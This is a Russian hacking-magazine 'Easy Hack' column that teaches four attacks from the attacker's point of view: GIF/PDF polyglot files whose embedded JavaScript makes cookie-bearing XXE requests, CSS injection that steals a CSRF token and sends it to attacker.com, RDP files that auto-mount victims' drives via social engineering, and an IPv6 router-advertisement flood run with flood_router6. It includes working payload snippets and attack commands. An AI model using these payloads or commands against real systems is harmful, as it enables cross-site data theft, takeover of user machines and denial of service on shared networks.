Содержание статьи
Спрятать PDF в Gif
Решение: Сегодняшний Easy Hack во многом посвящен всяким странным или специфическим штукам, нестандартному использованию стандартных вещей. Но это-то и круто! Ведь именно на этом и вырастают новые векторы атак. Как говорят знающие люди, здесь важно упорство и воображение, и тогда даже из всем известных штук можно вырастить что-то новое, интересное, мощное... В общем, я под большим впечатлением от ZeroNights 2012 :).
Warning!
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
Но давай вернемся к задаче. Во-первых, зачем это нужно? Для того, чтобы мы могли загрузить PDF’ку там, где мы их не можем загружать. Ведь очень часто бывает, что загрузка всевозможных картинок разрешена — они по определению считаются достаточно безопасными. Хорошо, скажешь ты, а зачем это-то нужно? Нам как атакующим от картинок маловато профита, а вот PDF имеет в себе приличный пучок возможностей. Если не говорить о том, что один из основных путей заражения компов всякой вирусней — это PDF и обрабатывающий их Acrobat Reader, то можно вспомнить, что мы можем проводить SDRF-атаки или получить XSS’ку на сервере через PDF. То есть профит понятен. Если что — примеры увидишь чуть позже.
Как же решить задачку? Все оказывается очень просто, если почитать и посмотреть где надо, а именно в стандартах. В них пишется, что заголовок PDF (типа %PDF-1.1) должен находиться в первых 1024 байтах файла. Что будет идти до заголовка, Acrobat Reader’у все равно. Этим-то мы и можем воспользоваться, разместив в начале файла данные в одном формате (например, GIF, JPG, doc), а дальше после 1024 байта — в другом, то есть в PDF (см. пример на рис. 1). При этом оба формата остаются валидными. Все зависит от того, как мы обращаемся к файлу (который, предположим, загрузили на http://pdfxss.appspot.com/Son-of-Gifar/NotAPDF.gif):
1. Браузер будет воспринимать данные как GIF и отобразит их рисунком:
<img src="http://pdfxss.appspot.com/Son-of-Gifar/NotAPDF.gif" height=10 width=10></img>
2. Браузер будет воспринимать данные как PDF и запустит плагин Acrobat Reader:
<object data="http://pdfxss.appspot.com/Son-of-Gifar/NotAPDF.gif" type="application/pdf" width="500" height="500"></object>
С задачей мы справились. Еще раз подтвержу, что вместо GIF’а мы можем подставить почти любой другой формат. И при этом мы сможем обходить многие проверки загружаемых данных, так как расширение у нас будет верное, да и сам файл в начале правильного формата. Далее — профит и обещанные примерчики.
На первый взгляд, мы упираемся в препятствие — необходимость указать обработчик на сайте жертвы. То есть, чтобы PDF заработал как PDF, нам нужно точно указать тег object, а для этого надо иметь возможность вставлять HTML-код на сайт жертвы. А если так, то какой тогда смысл, если мы уже имеем возможность для XSS?
На самом деле крутость PDF в данном случае в том, что вне зависимости от того, с какого домена мы его подгружаем (то есть где написан тег object), PDF фактически относится к тому домену, на котором он хостится (то есть куда указывает атрибут data тега object). Таким образом, получается, что мы вешаем у себя страничку с вызовом в object PDF’ки с атакуемого нами сервера, и, когда мы заманим на страничку нашу жертву, его браузер обработает ее как PDF и запустит плагин Acrobat Reader’а, со всеми вытекающими отсюда последствиями.
Последствия. Как мы видим, здесь с точки зрения Acrobat Reader’а нет нарушения Same Origin Policy, а потому мы можем выполнять произвольные запросы (на тот домен, где хостится PDF), и при этом необходимые куки будут автоматом добавляться браузером, получать ответы и обрабатывать их с помощью JavaScript’а, встроенного в PDF. По сути, мы имеем почти стандартную хранимую XSS’ку в виде PDF-файла.
Ну и небольшой пример, как можно инициализировать эти запросы (кусок PDF’ки):
>>stream
var xml="<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM \"http://pdfxss.appspot.com/secret.txt\">]>
<foo>&xxe;</foo>";
var xdoc = XMLData.parse(xml,false);
app.alert(escape(xdoc.foo.value)) ;
endstream
Просто угар! Мы можем обозначить свою XML c DTD и XXE со ссылкой на интересующую страницу хоста, заставить отпарсить ее и получить ответ. О ужас — XXE везде :). Стоит отметить, что здесь мы не юзаем какие-то уязвимости Acrobat Reader’а, это его фича, и исправлять ее Adobe в ближайшее время не собирается!
На рис. 3 представлен пример всей атаки. Здесь xs-sniper.com — домен атакующего, куда заманивается пользователь-жертва, а pdfxss.appspot.com — сервера-жертвы с залитым на него файлом GIF-PDF-мутантом — XML.gif. PDF’ка делает запрос на http://pdfxss.appspot.com/secret.txt с необходимыми куками (asdasdasd) и получает хранящиеся в нем данные.
Теперь о минусах. У Chrome используется своя, встроенная версия PDF-ридера, которая уже пропатчена. Вторая проблема — с IE. По умолчанию PDF’ки полностью скачиваются с сайта и фактически запускаются уже локально (из папки «Temp»). То есть XSS мы теряем, так как получаем необходимость выполнять уже кроссдоменные запросы и сталкиваемся с Same Origin Policy… В других же браузерах все хорошо работает :).
Хотелось бы еще отметить, что вся эта крутость была почерпнута у Билли Риоса (Billy Rios) с улетного блога — xs-sniper.com/blog/2012/10/11/content-smuggling. Ему уважение и благодарности от нас :).
Кража данных с помощью CSS
Решение: Давай представим себе веб-приложение, в котором все хорошо. Страшные символы фильтруются, а на все важные операции требуется токен (в качестве защиты от CSRF), да и с остальным все в порядке. И казалось бы, здесь нам особо не подкопаться. Однако пути есть.
Если мы можем влиять на контент какой-то страницы и вставить в нее вроде бы нестрашные символы кривых скобок ({ }), а страница эта содержит токен, то мы можем украсть его. Не знаю, насколько описание получилось понятным, так что вот пример.
PHP-скрипт на атакуемом сервере (index.php):
<html>
<title>victim</title>
<body>
<p><?php print filter($_GET['x']); ?></p>
<form>
<input type="text" name="operation"></input>
<input type="hidden" name="token">111111122222</input>
</form>
</body>
</html>
Здесь предположим, что функция filter фильтрует основные опасные символы ("<>). А токен для показательности представлен в виде статического значения. Наша цель — украсть токен, чтобы обойти защиту от CSRF; тогда мы могли бы провести какую-то страшную операцию.
Решение данной задачи может быть даже более чем простым. Суть идеи заключается в том, что мы можем выдать эту атакуемую страницу за CSS-стиль, подгрузить его на свою страницу и получить к нему доступ из JavaScript. Основывается эта идея на двух вещах. Во-первых, мы можем инжектировать в приложение свои данные; таким образом мы можем объявить свой стиль внутри страницы. Например, так:
http://victim.com/index.php?x={}*{font-family:'
Во-вторых, правила парсинга браузерами CSS очень гуманны, а потому браузеры пропускают все лишнее (например, HTML-теги) и подгружают лишь интересующие их объявления стилей. То есть, если мы разместим у себя на веб-сервере специальную страницу с указанием CSS на атакуемый нами скрипт сервера:
<title>attacker</title>
<link rel="stylesheet" href="http://victim.com/index.php?x={}*{font-family:'" type="text/css">
<body>
и заманим на нее нашу жертву, то браузер жертвы попытается подгрузить стиль, подгрузит его и получит примерно следующее значение для font-family:
font-family : </p><form> <input type="text" name="operation"></input><input type="hidden" name="token">111111122222</input>…
Но что еще круче, мы можем вынуть это значение, просто обратившись к «document.body.currentStyle.fontFamily» через JavaScript. То есть в нашу специальную страницу требуется добавить следующий код, чтобы переслать данные из font-family:
<script>
document.write('<img src=http://attacker.com/aaaaa?'+escape(document.body.currentStyle.fontFamily)+'">');
</script>
Итак, обобщу пример. Мы загоняем пользователя на нашу страницу на нашем домене. Его браузер видит ссылку на CSS на атакуемом сервере и подгружает все, что идет после определения “font-family:“. После чего мы можем прочитать это значение с помощью JavaScript и вынуть интересующий нас токен :). По сути, у нас тут нарушение Same Origin Policy.
Ну а теперь немного о грустном. Хотя способ и крутой (уязвимы к нему просто миллионы сайтов), но с неких пор он не действителен. Причина в том, что прошаристые безопасники навели паники пару лет назад и разработчики браузеров прикрыли вектор. Теперь, по идее, запрещено использовать CSS’ки с других доменов, хотя, если посмотреть на трафик, запрос на загрузку CSS происходит…
Здесь, думаю, стоит отметить, что в контексте одного домена все работает отлично (хотя толку от этого не очень много). Так что считай эту задачку просто примером и основой для размышления.
Использовать RDP для нападения
Решение: Появление любой технологии сулит чаще всего и новые специфические проблемы. Конечно, микрософтовские службы терминалов — штука совсем не новая, даже бородатая и во многом секьюрная. Тем не менее использовать ее в «злых» целях может быть очень даже интересно. Итак, предположим, что атаковать мы должны какую-то корпоративную сеть, а точнее, ее пользователей.
RDP (в широком смысле этого сокращения) позволяет пользователям удаленно работать на хосте, используя нативный графический интерфейс. Но как мы можем атаковать пользователей, обладая доступом к RDP-серверу? Самый простой вариант лежит в возможности автоматического монтирования дисков и устройств клиента при подключении к RDP-серверу. То есть при подключении юзера к RDP-серверу диски как бы расшариваются для RDP-сервера и у него появляется возможность залить на клиента любые файлы в любое место (в зависимости от прав юзера в своей ОС, разумеется). Конечно, по умолчанию диски не монтируются, но здесь есть некоторые тонкости.
Во-первых, через стандартный RDP-клиент (mstsc) нет возможности задавать, при подключении к какому серверу монтировать диск, а к какому — нет. Там используются общие настройки для всех подключений. Таким образом, достаточно часто получается, что администраторы ходят на RDP по серверам с подключенными дисками, и это создает прекрасную основу для атаки. По сути, нам нужно захватить контроль над одним из серверов и тем или иным образом заставить админа зайти на него, а далее только профит собирай, так как админская тачка уже в наших руках.
Во-вторых, мы можем насильно включить опцию подключения дисков — за счет указания соответствующих настроек в RDP-файлах. И это рождает несколько иной вектор атаки — атаку на безумных офисных пользователей. Суть заключается в том, что мы можем создать такой RDP-файл, при запуске которого у пользователя ничего спрашиваться не будет, а автоматически произойдет подключение к RDP-серверу с автомонтированием дисков и последующим захватом контроля пользовательской тачкой. Конечно, здесь потребуется проявить немного социальной инженерии. Например, можно разослать офисным работникам письма с приложенными RDP’шками и просьбой их запустить для тестирования какой-то новой системы. Такие файлы не вызовут подозрения у офисного народа и, я уверен, большинство выполнит необходимые действия.
Видеопримеры можно посмотреть у Wicked Clown, там же пример bat’ничка для заливки «шелла» — goo.gl.
Отказ в обслуживании через IPv6
Решение: IPv6 идет нам навстречу достаточно большими шагами. Конечно, его сильно подталкивают из-за заканчивающихся мест в IPv4, но с учетом того, как мир неохотно меняется и какие есть проблемы с обратной поддержкой, шаги и правда большие. К примеру, большинство современных сетевых систем уже по умолчанию имеют включенным IPv6-стек.
И в подтверждение сегодняшней общей темы, IPv6 также несет новые возможности, но с ними и новые векторы атак, и новые уязвимости. Как простейший пример можно вспомнить ситуацию, когда есть некий файрвол, который осуществляет правильную фильтрацию. Проблема в том, что фильтрация происходит только для IPv4, а в то же время IPv6 обделена каким-то вниманием. И значит, злоумышленник может проводить все свои атаки, просто перейдя на IPv6-адресацию. В общем, мы как атакующая сторона можем только порадоваться новшеству.
Но давай перейдем к нашей задаче. Несколько лет назад ресерчеры из разных стран начали усердно копать IPv6 и накопали пучок различных багов. Одним из таких стала сногсшибательная штука — ICMPv6 Router Announcements flood (хех, при виде такого названия вспоминается начало 2000-х с syn-флудом, land и teardrop’ами).
Router Announcements в легальных целях используется для того, чтобы, когда к подсети подключился новый роутер, он мог бы обозначить свое появление другим хостам. Типа: «я такой-то и отвечаю за такую-то подсетку». И все хосты, получив такой пакет, обновляют свои таблички маршрутизации, добавляя новые данные. Кроме этого, RA может быть использована для некой замены DHCP. И когда в ОС установлена возможность автоматического получения IP, при получении RA ОС также будет пытаться получить IP-адрес в новой подсетке.
Ну, я думаю, что, прочитав данную информацию, ты уже догадываешься, в чем суть атаки. Как я уже говорил, большинство ОС по умолчанию имеют включенный IPv6, а также поддерживают автоматическое получение настроек. Таким образом, для атаки нам требуется послать в подсеть много рандомных RA-пакетов и хосты, получая их, будут обновлять таблицы маршрутизации. Но самое страшное в том, что на обновление их уходит очень много ресурсов и в итоге ОС перестает нормально работать. К примеру, ОС Windows поедает всю память и занимает все процессорное время. Пишут, что аналогичная ситуация есть с FreeBSD и со старыми Linux’ами, а также с сетевыми девайсами Juniper и Cisco! Причем тот же Майкрософт сообщил, что они не будут патчить эту «дырку». Вероятно, это связано с тем, что для закрытия дырки нужно отказаться от поддержки RA или фильтровать их как-то, а тогда получается отклонение от стандартов, что совсем не хорошо. В общем, для атакующего выглядит и звучит все это шикарно.
Теперь практика. И здесь все просто :). Народ из THC разработал набор тулз, нацеленных на IPv6, включающий в себя и RA-флудер. Таким образом, нам всего лишь надо скачать тулзы и выполнить команду (для BackTrack):
flood_router6 eth0
где eth0 — интерфейс, куда посылать пакеты.
Кстати, перед проведением атаки не забудь защитить и себя — пакеты ведь широковещательные, а потому обрабатываются всеми девайсами в сети. Так что немного о защите от RA для Windows. Конечно, самое простое решение — отключить IPv6. Но можно и просто отключить поддержку RA-пакетов следующей командой:
netsh interface ipv6 set interface "Local Area Connection" routerdiscovery=disabled
Стоит еще отметить и то, что из-за опасности атак стали появляться различные штуки для защиты от RA flood’а. Например, goo.gl/zOEWa. Но и для них уже придумали пути обхода — в основном за счет манипуляций фрагментацией пакетов.
Вообще, техника реально убийственна — «кладется» все и в считаные секунды. Подробнее можно почитать здесь
Вот и все. Надеюсь, что было интересно :). Успешных ресерчев и познаний нового!
